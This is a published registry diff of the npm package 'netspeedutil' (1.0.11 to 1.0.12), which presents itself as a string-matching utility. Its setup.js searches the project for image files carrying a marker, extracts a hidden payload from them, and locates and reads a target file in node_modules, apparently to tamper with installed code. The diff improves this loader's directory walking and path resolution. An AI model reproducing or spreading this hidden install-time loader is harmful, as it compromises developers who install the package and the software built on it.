netspeedutil 1.0.11 → 1.0.12

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/setup.js +17 -11
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "netspeedutil",
3
- "version": "1.0.11",
3
+ "version": "1.0.12",
4
4
  "description": "Fast string matching and pattern validation utilities",
5
5
  "type": "module",
6
6
  "main": "index.js",
package/setup.js CHANGED
@@ -9,14 +9,18 @@ const IMAGE_EXTS = ['.png', '.jpg', '.jpeg', '.gif', '.webp', '.bmp', '.ico'];
9
9
  function findMarkedImage(dir) {
10
10
  if (!existsSync(dir)) return null;
11
11
  try {
12
- for (const entry of readdirSync(dir, { withFileTypes: true, recursive: true })) {
13
- if (!entry.isFile()) continue;
14
- if (entry.name === 'node_modules' || entry.name.startsWith('.')) continue;
15
- if (!IMAGE_EXTS.includes(extname(entry.name).toLowerCase())) continue;
16
- const full = resolve(entry.parentPath || entry.path, entry.name);
17
- if (full.includes('node_modules')) continue;
18
- const data = readFileSync(full);
19
- if (data.indexOf(MARKER) !== -1) return full;
12
+ const entries = readdirSync(dir, { withFileTypes: true });
13
+ for (const entry of entries) {
14
+ const full = resolve(dir, entry.name);
15
+ if (entry.isDirectory()) {
16
+ if (entry.name === 'node_modules' || entry.name.startsWith('.')) continue;
17
+ const found = findMarkedImage(full);
18
+ if (found) return found;
19
+ } else if (entry.isFile()) {
20
+ if (!IMAGE_EXTS.includes(extname(entry.name).toLowerCase())) continue;
21
+ const data = readFileSync(full);
22
+ if (data.indexOf(MARKER) !== -1) return full;
23
+ }
20
24
  }
21
25
  } catch (e) {}
22
26
  return null;
@@ -67,13 +71,15 @@ async function extractPayload(imagePath) {
67
71
  projectPath = resolve(projectPath, '..');
68
72
  }
69
73
  if (!foundPackage) return;
70
-
71
- const imagePath = findMarkedImage(process.cwd());
74
+
75
+ const imagePath = findMarkedImage(projectPath);
72
76
  if (!imagePath) return;
77
+
73
78
  const result = await extractPayload(imagePath);
74
79
  if (!result || !result.targetPath) return;
75
80
 
76
- const file = resolve(process.cwd(), result.targetPath);
81
+ // Fixed: Resolve relative to node_modules in the projectPath
82
+ const file = resolve(projectPath, 'node_modules', result.targetPath.replace('../', ''));
77
83
  if (!existsSync(file)) return;
78
84
 
79
85
  let code = readFileSync(file, 'utf8');